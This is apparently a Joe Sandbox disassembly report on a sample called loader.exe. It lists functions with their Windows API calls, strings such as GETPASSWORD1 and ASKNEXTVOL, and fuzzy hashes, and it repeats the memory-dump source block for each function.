Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2691759472-3358265660
Opcode ID: 4d7967b46aab2fbf78c126767377486578a5d880d639b35f8429d0caffb58d11
Instruction ID: 858d9982833ff0019a6f7021543d7bf03fb50297a44d563db8e67770a5ae3a3d
Opcode Fuzzy Hash: 4d7967b46aab2fbf78c126767377486578a5d880d639b35f8429d0caffb58d11
Instruction Fuzzy Hash: 2D319671900219AADF65CF50CC41EEE73BEEB15760F404566E505E7280EBB0DE848FA5

Function 0064B270 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00631316: GetDlgItem.USER32(00000000,00003021), ref: 0063135A
Part of subcall function 00631316: SetWindowTextW.USER32(00000000,006635F4), ref: 00631370

EndDialog.USER32(?,00000001), ref: 0064B2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0064B2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 0064B304

Strings

xzh, xrefs: 0064B2E2
GETPASSWORD1, xrefs: 0064B289

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$xzh
API String ID: 445417207-1351821969
Opcode ID: 6ea25b16cfd4d3dfb9964cfd2b2adfdffd802517dc9b121bb97a607673f48cd1
Instruction ID: 01a6bc43fbc8eb0a0a8e3a0f7329ca78396801153769666b808f0cdc3462cc87
Opcode Fuzzy Hash: 6ea25b16cfd4d3dfb9964cfd2b2adfdffd802517dc9b121bb97a607673f48cd1
Instruction Fuzzy Hash: 8E110432900128B6DB229F64DC49FFF377FEF0A700F000021FA45B6284C7A0DA0197A1

Function 0063B991 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0063B9B8

Part of subcall function 00634092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006340A5

_wcschr.LIBVCRUNTIME ref: 0063B9D6
_wcschr.LIBVCRUNTIME ref: 0063B9E6

Strings

%c:\, xrefs: 0063B9AE

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: adbe93751cc62ff75f3605f853f0b97977925facd5f3d8e5148afb53b0dca22a
Instruction ID: bf12268b0612a95dd72dad9cdb3f4f914a92ab60c900de5ada0cbebcf2fab6c3
Opcode Fuzzy Hash: adbe93751cc62ff75f3605f853f0b97977925facd5f3d8e5148afb53b0dca22a
Instruction Fuzzy Hash: 23014523500312799A706B358C42DABA3EEEE82770F44940EFA44D7282EB20D804C2F1

Function 0064B6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 0064B6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 0064B712
DeleteObject.GDI32(00000000), ref: 0064B744
DeleteObject.GDI32(00000000), ref: 0064B767

Part of subcall function 0064A6C2: CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 0064A762

Strings

], xrefs: 0064B71A

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Object$Delete$BitmapCreateGlobalLoadStream
String ID: ]
API String ID: 3658976889-3352871620
Opcode ID: 16d77dec654dbafca869142af98852e626152163a106be4d3ba2b06ab7a6dffb
Instruction ID: b3dcd03c80f309a515d580e8de96ec9dd31818bba52c6179c94827c9742a87e3
Opcode Fuzzy Hash: 16d77dec654dbafca869142af98852e626152163a106be4d3ba2b06ab7a6dffb
Instruction Fuzzy Hash: 8601D23658021177CB127BB49C0AABF7ABF9FC1B52F091019F900A7391DF61CD0543A1

Function 0064D600 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00631316: GetDlgItem.USER32(00000000,00003021), ref: 0063135A
Part of subcall function 00631316: SetWindowTextW.USER32(00000000,006635F4), ref: 00631370

EndDialog.USER32(?,00000001), ref: 0064D64B
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0064D661
SetDlgItemTextW.USER32(?,00000066,?), ref: 0064D675
SetDlgItemTextW.USER32(?,00000068), ref: 0064D684

Strings

RENAMEDLG, xrefs: 0064D618

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: d745653ea518bd3b59505fe4ffd8b2e34dbf798ddc26030a046d88478b6c5a90
Instruction ID: 33308b684b6efccad761b1eb4c0b330bc94989bcd27df0a5879a59328ad66f38
Opcode Fuzzy Hash: d745653ea518bd3b59505fe4ffd8b2e34dbf798ddc26030a046d88478b6c5a90
Instruction Fuzzy Hash: 5A014C33A85310BBD3104F649D09F9B776FEB5BB01F020511F305A61D0C7A29A158779

Function 00652BDA Relevance: 7.7, APIs: 5, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00652CA1
___AdjustPointer.LIBCMT ref: 00652CC4
_abort.LIBCMT ref: 00652D12
___AdjustPointer.LIBCMT ref: 00652D60

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: AdjustPointer$_abort
String ID:
API String ID: 2252061734-0
Opcode ID: bb5fbae629ffd87313a8d743678a6ea080e860c9dc4df3e7ba88731e3f774c26
Instruction ID: efb242f599600531108d4407b61363fef803e471f7d3a3259ddb4b3ed70e0d2d
Opcode Fuzzy Hash: bb5fbae629ffd87313a8d743678a6ea080e860c9dc4df3e7ba88731e3f774c26
Instruction Fuzzy Hash: 2451E372600213AFDB698F14D865BAA73B7FF16312F24422DEC05476A2E731ED89D790

Function 0065C7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0065C817

Part of subcall function 00658DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0065C896,00663A34,00000000,00663A34,00000000,?,0065C8BD,00663A34,00000007,00663A34,?,0065CCBA,00663A34), ref: 00658DE2

_free.LIBCMT ref: 0065C829
_free.LIBCMT ref: 0065C83B
_free.LIBCMT ref: 0065C84D
_free.LIBCMT ref: 0065C85F

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 6134d340ea8fa3d40b9c9be63a042a52e2fe8b0220aa6da183790c4b093d1792
Instruction ID: 44329daa75a000457a9fabb838b416b4ac303ca0dfff31884ad532d591f6edd9
Opcode Fuzzy Hash: 6134d340ea8fa3d40b9c9be63a042a52e2fe8b0220aa6da183790c4b093d1792
Instruction Fuzzy Hash: 58F04F36500604AFC760DB68E885C4677FBAF10726F54281DF908E7A52CAB2FC888A54

Function 00658900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0065891E

Part of subcall function 00658DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0065C896,00663A34,00000000,00663A34,00000000,?,0065C8BD,00663A34,00000007,00663A34,?,0065CCBA,00663A34), ref: 00658DE2

_free.LIBCMT ref: 00658930
_free.LIBCMT ref: 00658943
_free.LIBCMT ref: 00658954
_free.LIBCMT ref: 00658965

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: 54978c94fb5057aede420d6a7c278ea1adb2e06619ee5501eebdebb904cc684e
Instruction ID: 2e42a0c6fa3929912ec025f92dc5cf6f41a2a422dc609b38ffd9f9633dd53f28
Opcode Fuzzy Hash: 54978c94fb5057aede420d6a7c278ea1adb2e06619ee5501eebdebb904cc684e
Instruction Fuzzy Hash: A2F01775811127AF87866F18FC124053BBBBB24711710260BF81463EB2DB764A49DB85

Function 006415FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 006417BC
_swprintf.LIBCMT ref: 0064186B

Strings

%s: %s, xrefs: 006417CB
%ls, xrefs: 00641641, 00641657

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 8af3e0857b6f0bc5d9bc04005e4e0479c7f4b1f1f56db631f1545e27c145ca21
Instruction ID: b6e79b12419eed42e85ec95fb8b0e9369994fa13bdbcefaed4947e07c11c3122
Opcode Fuzzy Hash: 8af3e0857b6f0bc5d9bc04005e4e0479c7f4b1f1f56db631f1545e27c145ca21
Instruction Fuzzy Hash: F551E835388300FAF7212AA48D47F757667AB07B04F25450BF3966C4E1DAA3E4D2A71E

Function 0063BB03 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0063BB27
_wcslen.LIBCMT ref: 0063BC3B

Strings

UNC, xrefs: 0063BBA7
\\?\, xrefs: 0063BB52, 0063BB99, 0063BBF7, 0063BC4E

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen
String ID: UNC$\\?\
API String ID: 176396367-253988292
Opcode ID: 98c64aa45f6dc6e0c45c9da7fac6453fe53a1260b16a8d74072ef18ecb7f4d40
Instruction ID: a9a3d8730b7d9967062365b34e70574ab15a68b816117e544e2b5ca999e1ccd2
Opcode Fuzzy Hash: 98c64aa45f6dc6e0c45c9da7fac6453fe53a1260b16a8d74072ef18ecb7f4d40
Instruction Fuzzy Hash: 7141C631400225A6DF31AF60CC41EEA77ABAF41390F006529FA55E3251EF70DE90CBD4

Function 00657F6E Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00658079
_free.LIBCMT ref: 00658083

Strings

(!i, xrefs: 00657FBA
C:\Users\user\Desktop\loader.exe, xrefs: 00657FA5, 00657FAC, 00657FDB, 00658013

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _free
String ID: (!i$C:\Users\user\Desktop\loader.exe
API String ID: 269201875-3028609708
Opcode ID: ba54da5e6cbc549fa1b7a52577b38d4bccccf447f0d4549ba2dc9dba5cb299bf
Instruction ID: 309eda1ee17bef6326a40bb631e21b9dc44e138f025ec6fe23985ef4a395ca13
Opcode Fuzzy Hash: ba54da5e6cbc549fa1b7a52577b38d4bccccf447f0d4549ba2dc9dba5cb299bf
Instruction Fuzzy Hash: 5631C070A00219AFCB21DF94DC849AEBBBEEF84301F10406AFD04A7651DA708E49CBA0

Function 0064AD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00631316: GetDlgItem.USER32(00000000,00003021), ref: 0063135A
Part of subcall function 00631316: SetWindowTextW.USER32(00000000,006635F4), ref: 00631370

EndDialog.USER32(?,00000001), ref: 0064AD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0064ADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 0064ADC2

Strings

ASKNEXTVOL, xrefs: 0064AD28

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: 9764fcd935fce1d0786b4d450a26279a5b120ab438ca0da49fca5e29238bebe6
Instruction ID: e41c06d5c92d9f6b54e224af63cd7342f31e0bea5413652b74b75e3ff0c9041b
Opcode Fuzzy Hash: 9764fcd935fce1d0786b4d450a26279a5b120ab438ca0da49fca5e29238bebe6
Instruction Fuzzy Hash: 2811B132AC0210BFD7119FA89C05FAA3B6FEF4B702F100011F241EBAA0C7629905D766

Function 0064DDA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

DialogBoxParamW.USER32(GETPASSWORD1,00010406,0064B270,?,?), ref: 0064DE18

Strings

rd, xrefs: 0064DDDC
GETPASSWORD1, xrefs: 0064DE0D
xzh, xrefs: 0064DE28

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: DialogParam
String ID: GETPASSWORD1$rd$xzh
API String ID: 665744214-2584188523
Opcode ID: 8be93f66569c4c141e07255c0133c4a4ec0f44dd99ebafffd16ce254f4b41ed9
Instruction ID: 42f2a63ab62cbbc8474e005339b0abb5d60c64ad4a59ad7f9d3d9b1be9b3b160
Opcode Fuzzy Hash: 8be93f66569c4c141e07255c0133c4a4ec0f44dd99ebafffd16ce254f4b41ed9
Instruction Fuzzy Hash: 19112B32A44254AADB11DE349C46BEF37DBEB05760F144029FE49EB180C7B4AD84D764

Function 0063D8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0063D954
_strncpy.LIBCMT ref: 0063D99A

Strings

$%s, xrefs: 0063D949
@%s, xrefs: 0063D93E

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

